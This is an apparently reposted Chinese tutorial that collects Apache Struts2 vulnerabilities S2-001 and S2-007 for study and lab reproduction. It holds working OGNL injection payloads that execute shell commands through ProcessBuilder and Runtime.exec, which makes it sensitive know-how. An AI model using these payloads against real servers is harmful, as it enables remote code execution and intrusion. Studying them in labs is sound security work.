Struts2 漏洞集合
总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。
漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署
S2-001 (CVE-2007-4556)
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
影响版本
Struts 2.0.0 – Struts 2.0.8
复现过程
在框中输入%{1+2},会把其中的 value 值进行计算
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ebe21ebab5334a3cae6db60ddb161df6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01be810a161e23031e.jpg "https://p1.ssl.qhimg.com/t01be810a161e23031e.jpg"" style="margin: auto" />
执行之后,变成了3( OGNL 表达式%{value}执行成功)
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3a237be7827f44c9a803ea5c66ffbde0~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01757f60025f76545c.jpg "https://p1.ssl.qhimg.com/t01757f60025f76545c.jpg"" style="margin: auto" />
Poc文章来源:https://www.toymoban.com/news/detail-595802.html
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new
java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println
(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9923693899b2412f9989be713595ccdc~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft016aacff8e41d776ac.jpg "https://p4.ssl.qhimg.com/t016aacff8e41d776ac.jpg"" style="margin: auto" />
【一>所有资源获取<一】 1、电子书籍(白帽子) 2、安全大厂内部视频 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线
S2-007
当 -validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回,造成OGNL表达式注入。从而可能造成远程执行代码。
当用户 age 以str而不是的形式提交时 int,服务器将拼接 “‘“ + value + “‘“ 代码,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码
影响版本
2.0.0 – 2.2.3
Poc
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false")
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString
(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + '
[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/16dc06a10e544505add9281458cdb323~tplv-k3u1fbpfcp-zoo文章来源地址https://www.toymoban.com/news/detail-595802.html
到了这里,关于Struts2 漏洞集合的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!